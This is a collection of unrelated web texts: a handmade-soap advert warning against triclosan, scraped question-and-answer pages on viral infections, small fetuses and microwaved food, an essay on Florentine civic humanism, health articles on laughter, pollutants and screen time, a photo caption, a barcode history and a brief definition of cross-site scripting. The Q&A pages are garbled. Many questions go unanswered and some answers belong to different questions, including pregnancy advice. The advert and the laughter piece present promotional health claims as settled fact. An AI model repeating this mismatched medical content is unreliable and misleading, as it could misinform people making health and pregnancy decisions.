This chemical is most often found in antibacterial soap. Recent studies have found that triclosan actually promotes the emergence and growth of bacteria resistant to antibiotic cleansers. It also creates dioxin, a carcinogen that has been found in high levels in human breast milk. Dioxins have disruptive effects on the endocrine system and negatively affect thyroid functions.
Washing our bodies with soap that contains harmful ingredients every single day can inflict harm on our health. Fortunately there are many natural and chemical free skin products that are great for the skin. For a start, our handmade soaps contain no chemicals or artificial preservatives. Made from natural ingredients including Coconut Oil, Pharmaceutical Grade Salt, Water, Olive Oil, Sodium Hydroxide and Essential Oils, it is cleansing, moisturising and gentle on the most sensitive skin, leaving it refreshed and revitalised, whilst giving the natural benefits of salt minerals.
So next time you go to buy soap, make sure you check the ingredients!
Let’s get going
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Question: Can A Viral Infection Last Months?
How long does it take to get over a viral infection?
Can a viral infection last 6 weeks?
It’s a virus, different from a common cold, flu or allergies for that matter. And according to Doctor Gary Gross, who is on staff with Texas Health Dallas, it can last four to six weeks, maybe even longer.
What helps your body fight a virus?
Do viral infections go away?
How long is a virus contagious for?
What happens if a viral infection goes untreated?
Most minor cases of viremia eventually resolve on their own without direct medical treatment. Viremia can allow viruses to spread through the blood and infect tissues and organs throughout the body. Since many viruses kill host cells, long-term or severe viremia can cause damage to infected tissues and organs.
What are the symptoms of a viral infection?
Symptoms of viral diseases can include:Flu-like symptoms (fatigue, fever, sore throat, headache, cough, aches and pains)Gastrointestinal disturbances, such as diarrhea, nausea and vomiting.Irritability.Malaise (general ill feeling)Rash.Sneezing.Stuffy nose, nasal congestion, runny nose, or postnasal drip.More items…
How do you fight a viral infection?
How do you know if it’s viral or bacterial?
How a viral infection is spread?
Viruses can be transmitted in a variety of ways. Some viruses can spread through touch, saliva, or even the air. Other viruses can be transmitted through sexual contact or by sharing contaminated needles. Insects including ticks and mosquitoes can act as “vectors,” transmitting a virus from one host to another.
What are the five signs of an infection?
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Quick Answer: Is It Bad If Your Baby Is Measuring Small?
What are the symptoms that baby is not growing in womb?
How do I know if my baby is growing properly during pregnancy?
An ultrasound is usually done for all pregnant women at 20 weeks. During this ultrasound, the doctor will make sure that the placenta is healthy and attached normally and that your baby is growing properly. You can see the baby’s heartbeat and movement of its body, arms, and legs on the ultrasound.
Why is my uterus measuring small?
What happens if baby is too small in womb?
Can a small fetus catch up?
The good news is that most IUGR/SGA babies experience immediate catch-up growth after birth, with the vast majority achieving full catch-up growth by age 2 years. In fact, if catch-up is to occur, it general occurs rapidly within the first 3 to 6 months after birth, and will typically be complete before 2 years of age.
What causes small babies?
The most common reasons for a baby to be small are the following: The mother smoked cigarettes during pregnancy. The mother drank alcohol during pregnancy. The mother had high blood pressure during pregnancy.
Do small for gestational age babies catch up?
Most babies born too small for their gestational age catch up over the first two or three years of life. However, in about a third, complete catch-up growth does not occur. These children remain small and don’t reach their genetic potential as defined by their parental heights.
What does it mean if your baby is measuring small?
Small for gestational age means a baby is smaller than expected for the number of weeks of pregnancy. Although some babies are small because their parents are small, most babies who are small for gestational age have growth problems that happen during pregnancy.
What should I eat to increase fetal weight?
How can I increase fetal growth?
Milk. A daily intake of 200-500 ml of milk per day can help pregnant women increase foetal weight. Milk contains a high amount of protein and calcium, which are essential for the growth and development of the foetus. You can drink milk in plain form or come up with interesting porridge and smoothie recipes.
Should I worry if baby is measuring small?
It doesn’t hurt your baby, because they’re surrounded by amniotic fluid in your womb (uterus). Your midwife will also gauge the size of your growing womb by measuring your bump. … If your midwife is using a customised chart, try not to worry too much about your fundal height in centimetres.
What causes poor fetal growth?
Intrauterine growth restriction (IUGR) refers to poor growth of a fetus while in the mother’s womb during pregnancy. The causes can be many, but most often involve poor maternal nutrition or lack of adequate oxygen supply to the fetus.
How can I fatten my baby in the womb?
The choices are vast when selecting healthy proteins, including almonds, lean poultry, lean beef, low-mercury fish and dairy foods, including cheese, milk and yogurt. Include at least one protein source, such as low-fat cheese or peanut butter, in each meal and snack to promote fetal growth.
What happens if baby’s growth slows down?
What weight is small for gestational age?
At a gestational age of 40 weeks, boys who weigh less than about 6 pounds 9 ounces (3 kilograms) are small for gestational age. Girls who weigh less than about 6 pounds 3 ounces (2.8 kilograms) are small for gestational age.
How accurate are fetal growth scans?
Results. All scans fell within the accepted 15% margin of error, reassuringly 95% of scans gave an estimated fetal weight within 10% of the actual weight. Just under a third of scans estimated the fetal weight within 2% of the actual weight. Scans done at 40 weeks and beyond were more accurate than those done preterm. |
Quick Answer: Is It Bad To Eat Microwaved Food Everyday?
Is it OK to microwave tea bags?
Add water and a tea bag to a microwave-safe mug..
Does microwaved food cause cancer?
Microwave ovens Do Not cause cancer. There is no established research that proves a link between the use of microwave ovens and development of cancer. How do microwaves work? Electromagnetic energy, which is similar to radio waves, from microwaves heat up the water molecules from food.
What happens if you leave food in the microwave too long?
If you leave food in the microwave oven for too long, or contents are drying out or boiling over, the nutrition value could decrease. However, you can also make food too hot in an oven or on a grill, Jorgensen pointed out. The waves themselves do not affect the food’s nutrition.
Why heating food in microwave is bad?
What containers are safe to use in microwave?
What are the advantages and disadvantages of using a microwave oven?
The main advantage of using a microwave oven is that it takes less time to heat food which is suitable for our busy lives. The disadvantage of a microwave oven according to the studies is microwave radiation leakage when the oven gets damaged.
Is glass OK in microwave?
If the dish or container is warm or hot after heating, the dish or container isn’t microwave safe. … Glass and glass ceramic cookware is microwave safe as long as it doesn’t have gold or silver rims. Glass cups may or may not be microwave safe. Never reuse frozen food trays and containers.
Is microwaving eggs bad for you?
As an egg is cooked, the proteins inside the yolk clump together. Tiny pockets of water form as well, scattered throughout the matrix. These are harmless if you eat the egg after it cools. But if the egg is reheated and the yolk proteins rise above 212 degrees, they could heat the water up to that temperature as well.
What foods are not safe to reheat?
Vegetables with High Amounts of Nitrates. If you have spinach or any green leafy vegetables, carrot, turnip or even celery, avoid reheating them in the microwave. … Rice. You may be surprised, but rice comes under this category too. … Eggs. … Chicken. … Potatoes. … Mushroom. … Cold Pressed Oil.
What are the negative effects of microwaves?
Does reheating food destroy nutrients?
Why do plants die when given microwaved water?
This experiment supposedly proved that using the microwave to heat water alters it enough to kill a plant. “I have known for years that the problem with microwaved anything is not the radiation people used to worry about, it’s how it corrupts the DNA in the food so the body cannot recognize it,” the post claims.
Does microwaving affect food quality?
Although microwaving does involve radiation, heating meals and vegetables this way does not destroy all the nutrients. Like any method of heating, microwaving can affect the nutrient content to a certain extent — however, it depends on how much you cook it. “Microwaving isn’t going to give you harmful radiation.
Is it bad to microwave water?
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The Rise of Civic Humanism in Europe
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Why Civic Humanism started in Florence
Humanism can be defined as a revival of interest in classical learning in the thirteenth, fourteenth and fifteenth centuries, which created the cultural environment for the artistic innovations and developments known as the Italian Renaissance. Classical Greek and Roman writers were rediscovered, re-evaluated, and re-assessed. It can be argued that humanism owed its inception to a change of emphasis in the theory or education current at that time. The term ‘studia humanitatis’, from which the word humanist is derived, meant the study of certain clearly-defined disciplines: Grammar, Rhetoric, History, Poetry and Moral Philosophy, based on a close analysis of leading classical authors. The important point is that humanists scrutinized Greek and Roman civilizations in order to understand their values in their original context, and then to incorporate them into their own ideas about life and art. Throughout the Middle Ages, certain classical writers, predominantly Latin, had formed a substantial part of the diet of all educated men. They had, however, been deemed to be explicable in medieval terms. Humanists were attempting to understand the ancient world though its own eyes; and they were acutely aware of the distinction.
For many years, historians assumed that the Renaissance began with the Fall of Constantinople to the Turks, in 1453, when Greek scholars fled to the West, bringing with them many previously unknown documents of antiquity. It now seems fairly confidently asserted that many of the essential features of the Renaissance, and certainly humanism, predate this period by some considerable length of time. It was 1396 when Manuel Chrysoloras, a distinguished Byzantine scholar, was appointed to teach Greek in Florence. Recognizable groups of humanists were meeting in Padua, Verona, Vincenza, Venice, Milan, Florence and Naples around 1300. Aristotle first came to Christian Europe via Jewish and Arabic sources. His works were banned at the University of Paris as early as 1210. Bearing the stigma of paganism, he was at first regarded with suspicion. However, medieval Christianity, largely through the efforts of Thomas Aquinas, managed to assimilate him and Christianize him so that he became, in time, part of orthodox Roman Catholic philosophy. It must be stressed that Thomas Aquinas was no humanist, and this only proves that Aristotle was influential long before the fifteenth century. One of the major tenets of humanism was an ability to appreciate classical writers without trying to interpret them through a superimposed Christian framework. It has been described as a secular movement, that is secular compared to the Middle Ages, but it does seem as if this may be too clear a distinction. One sample study(1) suggests that the proportion of Italian paintings with secular subjects rose from 5% in 1420, to 20% in 1520. This hardly argues for a change in direction, but does show a shift in priorities.
In the same way, another of the much disputed results of the study of humanities, to wit the rise of a cult of individualism, can be accepted if it is presented as a difference in emphasis, rather than a totally new idea. There are some grounds for supposing that medieval man, because he saw his universe as hierarchical and theocentric, was more interested in ensuring the salvation of his soul than in expressing and identifying himself as a unique human being. Renaissance man does seem to have been more concerned with his life upon earth. Although individualism as a concept is difficult to grasp or define, it is one of the factors which allows for a logical evolution from Petrarch’s literary humanism to civic humanism. Burckhardt(2), one of the leading protagonists of individualism as a contributory theme to the Renaissance, felt towards the end of his life that he had overstressed it as an issue. But there can be seen to be a link between an idea of self-importance, when combined with a certain secularism, which would reasonably lead to a greater involvement with the affairs of state.
Petrarch did an enormous amount to popularize humanistic scholarship and literary style. He kept himself aloof from all civic claims, particularly in his later years, but he did, as one of his most positive contributions towards an eventual civic humanism, emphasize that moral philosophies had a practical relevance to life. He had a high regard for the writings of Cicero, and because of his own success as an author, he extended Cicero’s sphere of influence. Petrarch’s discussions of ancient philosophy followed the model which Cicero provided. Cicero was, above all, a public man, concerned with oratory, statesmanship and the law, all of which are matters distinctly within the public arena.
The twelfth century was a time of considerable economic growth in Italy, which, either as a cause or an effect, ran concurrent with a population explosion. It was a trading and a banking nation, whose culture was determined by practical matters. It already had, by the twelfth century, a considerable urban population. People were merchants, artisans and small manufacturers. Their social structure was less constrained, more mobile, that those of the more rigidly hierarchical and predominantly agricultural communities of most of the rest of medieval Europe. Then too, city-republics were its dominant form of political organization in the twelfth and thirteenth centuries. By the end of the fourteenth century, the majority of these republics had lost their independence, but a tradition of an autonomous urban way of life survived, together with an educated laity. This was a relatively sophisticated society, tailor-made to absorb Cicero’s ideas about the traditional Roman virtues of public service, and the pre-eminence of the statesman’s career within a republican constitution.
Siegal(3) in his article entitled “Civic Humanism” or Ciceronian Rhetoric?, argues that the most vigorous intellectual life in Italy always revolved around the study of Law and Rhetoric. It had never been as involved with the more metaphysical, scholastic philosophy, which became so important in Northern Europe during the twelfth and thirteenth centuries. While, as Siegal says, medieval Italian rhetoric was quite different from Ciceronian humanism, it was a similar enough discipline to provide a logical progression. Then too, when Scholasticism did begin to be debated in Italy, at the end of the thirteenth century, Aristotelian philosophy would also, as a consequence, have achieved an importance. Leonardo Bruni, for one, translated both Aristotle’s Ethics and Politics in the early years of the fifteenth century. Aristotle was, par excellence, the advocate of the active civic man. It can, therefore, be seen that, given the prevailing social and political climate of Italy, a literary revival of the classics would be bound to evolve in time into a civic significance
There does seem to be one single matter which is not disputed. In the beginning of the fifteenth century, there was an extra-ordinary flowering of the visual arts which began its life in Florence. It then spread throughout the whole of Italy, but for more than half a century, Florence of predominant. Peter Burke’s(1) survey indicates that although Tuscany had only 10% of the population, she produced 26% of what he calls ‘the creative elite’. It is now fairly commonly believed that one of the reasons for this was that Florence was also the home of Civic Humanism. It is of interest, therefore, to establish why Florence, of all the cities in Italy, was the most susceptible to a civic revival, and why it, of all places, produced this great period of scholarship and art.
Many theories have been advanced, but most of them do not pertain only to Florence. It was, indeed, one of the most populous and prosperous cities in Western Europe. It had been a wealthy city for some time, and it can be argued that the Black Death, the plague year in the middle of the fourteenth century, by controlling a population which might otherwise have become too vast to be economically viable, had left more money in the hands of those who survived. It could well be deemed that intellectual and artistic creativity pre-suppose a society with enough time and money to indulge in such matters. However, Florence was by no means the richest city in Italy. Consequently, an overriding economic explanation does not appear to adequately account for Florence’s peculiar pre-eminence.
Florence was, of course, a city of cloth makers, involved with both buying and selling. Its people were technically proficient and exceptionally numerate in medieval terms. Many of the important innovations of the Renaissance were to do with methods of calculation of mathematical perspective, which demanded a degree of numerate perception. However, in Venice in particular, but also in many other Italian cities, an interest was taken in the statistics of imports and exports. Double entry book-keeping was widespread. Italians were, first and foremost, traders. Then too, Florence was rich in artisans of all descriptions, because of the amount of public works undertaken there. While this was undeniably important, in that it provided a reservoir of skilled craftsmen, there is no evidence to suggest that an equal amount of building was not being done elsewhere. These were not particularly Florentine phenomena.
What was unique to Florence was its political structure, its republican constitution and its social mores. By the beginning of the fifteenth century, Florence and Venice were the only two great republican city states left in Italy, and their systems provide almost a paradigm of contrasts. The Venetians were not considered to be politically adult until they were 25, and the average age of the Doge on his election was 72. The city did not readily admit change, and whilst arguably a far sounder structure than the Florentine one, it was not as innovative.
Florence, on the other hand, can be judged to have had an unstable political system. Machiavelli(4) certainly comprehensively damned it, despite his much praise for republicanism. Florentines enjoyed political rights at the age of 14. The chief magistrates held office for only two months at a time. As a result, far more Florentines were actively engaged in political life, in civic affairs, than in Venice. It was also a nation of shop-keepers, with a more malleable social framework, and there is at least some suggestion that, because it was a smaller community than Venice, its population was more inclined to intermingle. But, above all, Florence was a republic with a tradition of participation. It was especially well-placed to identify itself with Roman republican traditions, and Cicero’s ideals of public service. It is, thus, not surprising that civic humanism flowered there.
As can be expected, there have been many arguments among historians about the precise reason why civic humanism gained such an ascendancy at that particular time. Therefore, it might be worth establishing those matters which are, at least for the most part, not disputed. Firstly, two of the major figures of Florentine humanism in the last years of the fourteenth century and the first years of the fifteenth, were Coluccio Salutati and Leonardo Buni. Both men wrote with conscious pride about Florence as a direct descendant from Roman republicanism, and both men deemed it a special honour and significance to be citizens of Florence. Secondly, in 1402, Florence narrowly escaped defeat by Giangaleazzo Visconti, Duke of Milan; not, it may be added, because of any brilliant Florentine military strategy, but because the Duke died. Thirdly, the Renaissance in visual arts really got underway during this time. In 1402, Lorenzo Ghiberti won a competition to complete the Bronze Doors in Florence. His work showed clear indications of classical influence, and is judged by many to be the first example of Renaissance sculpture. Masaccio began his very short painting career in 1401, also in Florence, and he, too, was demonstrably influenced by the classical. In 1419, Brunelleschi began the city’s first classical building, the Foundling Hospital. Bruni’s works, The Dialogues and Panegyric to the City of Florence, were written very early in the fifteenth century. Professor Hans Baron(5) saw in these writings proof of a definably distinct Florentine civic humanism. He argued that they showed a very clear divide between the old intellectual literary humanism, to which, according to him Salutati subscribed, and a new spirit of civic pride, identity and patriotism. He believed that this was, specifically, the result of the political dramas of 1402. In order to prove his point, has involved himself in a series of debates about a very precise dating of Bruni’s works.
While in no way contradicting Baron’s central thesis, i.e. that political threats invoke active patriotism, it does seem unnecessary to fix so particularly on one year. Florence had been under attack, one way or another, for many years. Salutati was appointed Chancellor as far back as 1375, a post he held until his death in 1406. One of his specified duties was to use his eloquence in defence of Florence against her numerous foes. It seems more reasonable to agree with Dr George Holmes(6) that Florence’s awareness of her civic identity arose as a result of a succession of crises throughout the end of the fourteenth century and the first years of the fifteenth. Very likely, the events of 1402 did constitute some of the most serious threats to her liberty; without doubt Giangaleazzo’s death was the subject of much rejoicing; still it does seem a little difficult to believe that a victory achieved solely through an opponent’s accidental death would be the matter for much pride. The Florentines could also not have been immediately certain that Giangaleazzo’s successor would prove as incompetent as he did. For an historian to concentrate on such a short period of time seems fraught with danger.
Added to which, all this negates the influence of Salutati, who had been Chancellor for seventeen years before the fateful year of 1402. It pre-supposes him to have been a man who compartmentalized his humanism, made it a private matter when it already seems clear this it was a doctrine of particular practical relevance to Florence, and it is agreed that Salutati was a notable humanist and a civic, and public man. Apart from the sheer improbability of such a course of action, all evidence seems to point to the opposite direction. One of his oft-quoted sayings is: “What is it to be a Florentine, except to be both by nature and law, a Roman citizen.” That is, very definitely, the utterance of a committed civic humanist. He is known to have encouraged younger classical scholars. He was the patron of at least two other leading and civic humanists, Bruni and Bracciolini. The Byzantine scholar, Chrysoloras, was appointed to teach Greek in Florence in 1396, which was during Salutati’s time. The competition for the Bronze Doors, which Ghiberti won, and which was indicative of active civic participation in matters of art, was well underway in 1401. The tensions of 1402 may have boosted civic pride, but humanism was already a very active civic force. Salutati left behind him a flourishing and well-established circle of men imbued with the values of participatory republicanism. More than any other man, he can be deemed to have been responsible for a recognisable and Florentine civic humanism.
Thus, it can safely be concluded that old traditions and mores synthesized with even older ones, and that firstly Florence, and then all of Italy, brough forth great men and great achievements. Italy was the home of the Renaissance, in part because Italian society was malleable enough to admit to new ideas. It had a relatively sophisticated and urban lifestyle, which was not as strictly regimented as many other medieval communities. Tradesmen and merchants were not constrained in quite the same way as those living within the more rigid hierarchies of predominantly agricultural economies. Consequently, its artists and theoreticians were allowed a greater degree of social mobility and status. Italy’s intellectual institutions were adaptable to a practical application of the philosophical thought of the ancient world. Its people had sufficient time, money and expertise to fructify an artistic revolution. Literary humanism evolved naturally into civic humanism, and civic humanism produced the environment to initiate great art. Florence, in particular, was at the forefront of this creative flowering, because it was uniquely placed to associate its city’s constitutions with those praised by Cicero, who also, incidentally, wrote at a time when the institutions he venerated were about to dissolve as viable entities. Florentine civic humanism, in immediate matters, a political failure, did leave more than enough behind to justify Bruni’s claims that a culture produces of its best in the free climate of republicanism. To put it in its most simplistic terms, in this place and at that time, the intellectual, the social and the political coalesced into a tremendous burst of creation.
To fulfill our tutoring mission of online education, our college homework help and online tutoring centers are standing by 24/7, ready to assist college students who need homework help with all aspects of your history study. Our history tutors can help with all your projects, large or small, and we challenge you to find better online Civic Humanism or Italian Renaissance history tutoring anywhere.
1. Burke, P. The Italian Renaissance – Culture and Society in Italy, Polity Press (2013)
2. Burckhardt, The Civilisation of the Renaissance in Italy, Penguin Classics (1990)
3. Siegal, J., “Civic Humanism” or Ciceronian Rhetoric? Past and Present No. 34 (1966)
4. Machiavelli N. The Prince, Penguin Classics (2014)
5. Baron, H., Leonardo Bruni: ‘Professional Rhetorician’ or ‘Civic Humanist’? Past and Present No. 36 (1967)
6. Holmes, G., The Florentine Enlightenment 1400-1450, Clarendon Paperbacks, (1992)
Berki, R.N., The History of Political Thought – A short introduction, Rowman and Littlefield, (1977)
Dickens, A.G., The Age of Humanism and Reformation, Prentice Hall, (1972)
Sabine, G.H., Thorson, T.L., A History of Political Thought, The Dryden Press (1973)
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September 16, 2019
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Laughter is the Best Medicine: The Real Health Benefits of Laughter
Studies and Findings on the Effects of Humor on Health
Much has been said on laughter being the best medicine; but can humor really help you improve your health?
Beyond the obvious “feel-good” properties of amusement and laughter that humor can have on a person’s psychological health, humor has demonstrated physiological benefits as well. In the 13th century, Doctor Henri de Mondeville believed his patients recovered faster after surgery with a good dose of humor. In the 1903, psychologist William McDougall stated that laughter stimulated the cardiac and respiratory systems.
Today, the scientific study of laughter has expanded into its own field of research, called “gelotology,” from the Greek word gelos, meaning “laughter.” In the 1930s during the field’s first scientific humor research studies, it was found that the initial effect of laughter is stimulatory. Laughter increases pulse and respiratory rates, then provides relaxation as it subsides. In the 1960s, Dr. William Fry found that laughter resulted in increased ventilation, muscle activity, minute volume, and forceful exhalation that could mobilize secretions.
After the 1960s, more research was conducted on the “mind-body connection”: how our mental state significantly affects our physical health and well-being. From this, the field of psychoneuroimmunology (PNI) study emerged. Evidence gathered from these studies proved that a mind-body connection exists, and that the mind and body communicate with one another through a bidirectional flow of hormones, cytokines, and neuropeptides. This bidirectional communication indicates that mood, thoughts, emotions, and beliefs truly impact a person’s health and well-being.
PNI research has led to the modern breakthroughs on the impact of stress on health. Stressful events cause a person’s nervous system to prepare for “fight or flight”: when faced with acute physical or emotional stress, the adrenal gland increases cortisol secretion, and heart rate, blood pressure, and appetite increase. The stress of a threat, whether real or perceived, activates the general adaptation syndrome (GAS), which then activates the hypothalamus-pituitary-adrenal (HPA) group to release adrenocorticotropic hormone (ACTH), leading to greater cortisol secretion and its subsequent effects.
Once upon a time, this “fight or flight” stress response helped humans adapt to life as being both predator and prey. For modern, industrialized man, however, it hurts more than helps. The constant emotional stress from hectic schedules and balancing work, home, family, and personal pressures causes overstimulation of the HPA group, leading to excessive cortisol levels that can suppress the immune system and make the body more susceptible to infection and disease.
Fortunately, you can combat the immunosuppression effects of stress with a simple dose of humor. Research indicates that humor and laughter increase the levels of immunoglobin IgA, IgG, IgM, killer T cells, and natural killer (NK) cells in the body. Studies conducted in 1989 and 1993 showed that laughter helped to increase levels of IgG, IgA, and IgM up to 24 hours afterwards, increased NK cell activity, and increased gamma interferon. At the same time, cortisol secretion decreased.
For myocardial infarctions (MI), patients who viewed self-selected humorous videos as an adjunct to standard cardiac therapy showed fewer episodes of arrhythmia, lower blood pressure, lower urinary and plasma catecholamines, less need for beta blockers and nitroglycerin, and lower incidence of recurrent MI than a control group that didn’t use humor. Laughter had the effect of dilating blood vessels and increasing blood flow. One doctor found that one minute of hearty laughter even brought is heart rate up to the same level as 10 minutes of rowing on his home rowing machine!
As research continues to uncover more physiological benefits to laughter, one thing us clear: laughter really is one of the best (and cheapest!) medicines.
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Environmental Contaminants Alter Gut Microbiome
The microbes that inhabit our bodies are influenced by what we eat, drink, breathe, and absorb through our skin, and most of us are chronically exposed to natural and human-made environmental contaminants.
Polluted Water
Image Credit: Kay_MoTec/Shutterstock.com
The review is published in the journal Toxicological Sciences.
The paper includes sections on compounds used in manufacturing consumer goods, including the bisphenols found in plastic food packaging, and phthalates, which are used in everything from vinyl flooring to plastic films.
It also describes the science associated with exposure to persistent organic pollutants and heavy metals. POPs include chemicals like PCBs; perfluorochemicals, which are used in nonstick cookware and food packaging; flame retardants known as polybrominated diphenyl ethers; and pesticides and herbicides.
"More than 300 environmental contaminants or the metabolic byproducts of those contaminants have been measured in human urine, blood, or other biological samples," said Jodi Flaws, a U. of I. professor of comparative biosciences who led the analysis with Ph.D. student Karen Chiu.
Chemicals such as bisphenols, phthalates, and some pesticides, persistent organic pollutants, and heavy metals can alter hormone metabolism and are associated with adverse health outcomes."
The negative health effects linked to these chemicals include reproductive and developmental defects, Type 2 diabetes, cardiovascular dysfunction, liver disease, obesity, thyroid disorders, and poor immune function, the researchers report.
Dozens of studies have explored how chemical exposures affect health, and scientists are now turning their attention to how these chemicals influence gut microbes. The studies reviewed in the new paper were conducted in rats, mice, fish, dogs, chickens, cows, human adults and infants, honey bees, and other organisms.
Studies have found that exposure to bisphenols, which are detectable in the urine of more than 90% of adults in the United States, increases levels of Methanobrevibacter bacteria in the male gut. These microbes have been shown - in humans and in mice - to boost their host's ability to extract more energy from food.
"This raises a strong possibility that BPA-induced weight gain is caused at least partially by BPA-induced changes in the gut microbiome," the researchers wrote.
Phthalates are plasticizers and stabilizers that easily leach into foods. Eating phthalate-contaminated foods is the primary route of exposure in humans. Like bisphenols, phthalates are endocrine disruptors, meaning that they interfere with normal hormone-signaling in the body.
High phthalate exposure in human newborns is associated with changes in the gut microbiome and altered immune responses to vaccination.
In mice, exposure to phthalates during puberty appears to inhibit the microbial synthesis of butyrate, a metabolite that is essential for intestinal health, immune regulation, and neurological function.
Persistent organic pollutants are oily organic chemicals that can persist in the environment for years or decades.
Recent studies have investigated the impact of POP exposure on the gut microbiota during developmental, juvenile, and adult stages in a variety of animals, including mice, fish, and humans,"
Studies have found that exposure to PCBs is associated with microbial shifts in the gut and increased gut permeability, intestinal inflammation, and cognitive problems. Once used as coolants, PCBs were banned in the U.S. in 1978 but persist in the environment.
Perfluorochemicals are used in nonstick cookware, food packaging, and stain-resistant carpets. One study linked PFCs to changes in the gut microbiome and impaired lipid metabolism in female - but not male - fish and their offspring.
The microbiome shifts persisted in the offspring, and the young fish suffered higher mortality than those whose mothers were not exposed to PFCs.
Studies have found that exposure to glyphosate herbicides alters the bacterial makeup of the gut microbiome in cattle, rodents, and honey bees. It increased anxious and depressive symptoms in mice and was associated with an increase in pathogenic bacteria in cattle.
The pesticide chlorpyrifos affects microbial populations in male rodents and fish exposed during development and adulthood, and also causes inflammation and oxidative stress in the gut.
"All of these data together suggest that exposure to many of these environmental chemicals during various stages of life can alter the gut microbiome in ways that influence health," Chiu said.
The pathologies associated with altered microbiomes after exposure to environmental chemicals include immune dysfunction, altered carbohydrate, and lipid metabolism, and neurological and behavioral impairments. We are also seeing that these effects highly depend on an individual's sex and age."
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Watch Out for Screen Time Hours for Your Children During this Pandemic
Everyone knows the strain caused by gadgets and mobile phones to children’s eyes. But people tend to trade the risks for convenience. For instance, when they are stuck at home, leaving the kids to their games and YouTube shows means more time to devote to their work.
However, you should never dismiss the dangers of eyestrain. It could mean that your kids may potentially wear corrective lenses for the rest of their lives. Apart from the inconvenience, you also need to consider your budget. Browse the collection from the sites like 1001 Optical to get an idea of how much a set of prescription glasses or contact lenses cost. And remember, you need to update the prescription glasses every two years.
The National Health Survey and the Australian Bureau of Statistics have published a study, which revealed that short-sightedness (myopia) and far-sightedness (hyperopia) are the two most common conditions affecting Australian children. One in 20 kids aged 5-14 years wears lenses to correct myopia. In terms of gender, short-sightedness tends to affect girls more than boys. Meanwhile, boys are more likely to deal with long-sightedness than girls.
The Sydney Myopia Study, meanwhile, showed that about 19% of 12-year-olds use lenses for astigmatism or the blurred vision caused by myopia or hyperopia.
How Gadgets Damage Your Kids Eyes?
Smartphones, computers, and mobile gaming devices emit a high-energy blue light, which then penetrates your children’s eyes and increases the risks of developing vision problems. This condition is called Computer Vision Syndrome.
Although your kids will never complain about it—out of fear that you will take away the gadget—their eyes will feel heavy, sore, and tired. Other symptoms include nausea, headache, and dry eyes.
What is the Ideal Screen Time for Kids?
According to the Australian Institute of Family Studies, the recommended daily screen time for kids should not exceed two hours. However, Australian kids aged 4-5 years old are already going beyond that limit. The number of hours they spend on gadgets rises to 3-4 hours on weekends. It means that they are spending a quarter of their waking hours tethered to their screens.
That’s why it’s important to teach them the 20/20/20 rule. Your kids need to take a break every 20 minutes of screen time. Once on a break, they should stare at a distance 20 feet away for 20 seconds. Above all these, wearing anti-reflective glasses like the ones you see on 1001 Optical can help reduce the glare from the screen, thus protecting your kids’ eyesight.
There are more ways to minimise the risks:
1. Switch on the night time mode in the gadgets so as to reduce the blue light emitted from the screen.
2. Make sure there is sufficient ambient light.
3. Increase the text size on the screen, which would be helpful for those distance learning modules.
4. Don’t allow them to put the screen close to their face.
5. Add anti-glare devices that can be hooked to your computer screen.
With the prospect of online learning due to COVID-19, there is a risk of increased screen time for your kids. If you are not careful, it will result in considerable damage to their eyes. Consult your eye doctor and take them for a review once in a while.
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5. Framework
Sheladiz, Iraqi Kurdistan
Giclée print on Hahnemühle photo rag paper
56 x 84 cm
4/5 edition (+ AP)
Scaffolding rests on a wall against the backdrop of the Qandil mountains (a section of the Zagros mountain range which spans Iran, Iraq and Turkey).
In late September 2017, the Kurdish Provisional Government (KGP) held a referendum asking the Kurdish people if they should declare independence from the Iraqi state. Many local activists and opposition party members believed that Iraqi Kurdistan was not ready for independence at this time as it doesn't have a strong framework to be a function modern independent state. Many also believed that it was also the KPG leadership's way of holding onto the oil and resource rich region of Kirkuk which they had acquired during the fight against ISIL.
Despite this, the referendum vote overwhelmingly was in favour of an independent Iraqi Kurdistan. Within days, the central Iraqi government began sealing the air and land borders to northern Iraq with the help of Turkey and Iran. They then demanded control of all international airports in the region controlled by the KGP as well as control over the city of Kirkuk.
Just before the vote, a day or two after this photo was taken, Turkish airstrikes on the nearby villages of Sidan and Kera Derin killed 7 civilians.
The Turkish military regularly bombs sites in northern Iraq from bases in Turkey and Iraq. It is part of the ongoing armed conflict between Turkey and the Kurdish Workers' Party (or PKK) who seek Kurdish autonomy inside Turkey. One of the strategies of Recep Tayyip Erdogan's Turkish government is to bomb civilian targets near areas with PKK bases in an effort to create 'friction' between the militants and locals. It is worth noting that hostilities resumed after a ceasefire when the majority rule of Erdogan's party, the AKP, in Turkish politics was threatened by resurgent popular Kurdish politicians. Airstrikes on PKK targets followed a crackdown on Kurdish political parties in Turkey in 2015.
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The Barcode Story
Barcode History
In June, 1974 at a Supermarket in Ohio, USA, a clerk passed the UPC barcode on a 10 pack of Wrigley’s chewing gum over the scan window of a barcode scanner.
History was made that day by the first commercial barcode scan, and the now infamous good-read ‘beep’.
This first ‘beep’ signalled the beginning of the automatic data capture industry. Since its first scan, the barcode has revolutionized the retail industry and caused rapid adoption of barcode technology to improve productivity and advance inventory management while, at the same time, reducing errors and the physical strain on employees.
The same benefits have been realised upstream through the supply chain, from the factory floor to the retail outlet, while also creating huge waves in other industries such as manufacturing, healthcare, finance and entertainment.
A barcode symbology is best described as an “optical Morse code”; a series of black bars and white spaces of varying widths printed on labels to uniquely identify items.
The information encoded in the barcode is decoded by a scanner, which measures reflected light and interprets the code into numbers and letters that are passed on to a computer.
The primary benefit barcodes provide is rapid, simple, and accurate reading and transmission of data for items that need to be tracked or managed.
Since barcode labels are easily affixed or can be directly printed onto virtually any material (i.e. mailing tubes, envelopes, boxes, cans, bottles, packages, books and more), they are the most cost-effective and accurate solution for capturing data.
The early applications of barcode scanning such as retail POS checkout, item tracking and inventory management have been expanded to more advanced applications in more industries such as: time and attendance, work-in-process, quality control, sorting, order entry, document tracking, shipping and receiving, controlling access to secure areas – even tracking and identifying farm animals! Barcode data collection is part of a broader category called Automatic Identification, or Auto ID.
These expanded systems have measurably increased productivity by linking production, warehousing, distribution, sales and service to management information systems on a batch or real-time basis. Consequently, opportunities to improve operational efficiencies and customer responsiveness have developed for retailers, transportation and package delivery companies, manufacturers, wholesale distributors and service providers.
The need for data collection also extends into healthcare, where barcodes are being used for to update and track a patient’s electronic medical records and prescriptions.
By using a barcode based system, medical facilities can quickly and accurately update electronic medical records, instead of relying on a doctor’s hard-to-read handwritten notes for patient safety. |
Cross-site scripting explained
Cross-site scripting (XSS) is a type of online attack that targets web applications and websites. The attack manipulates a web application or website into delivering malicious client-side scripts to a user’s unsuspecting browser, which executes the script. After that, the script can exfiltrate personal and financial information from the victim, install malware, or redirect the victim’s browser to other malicious web pages, among other things.
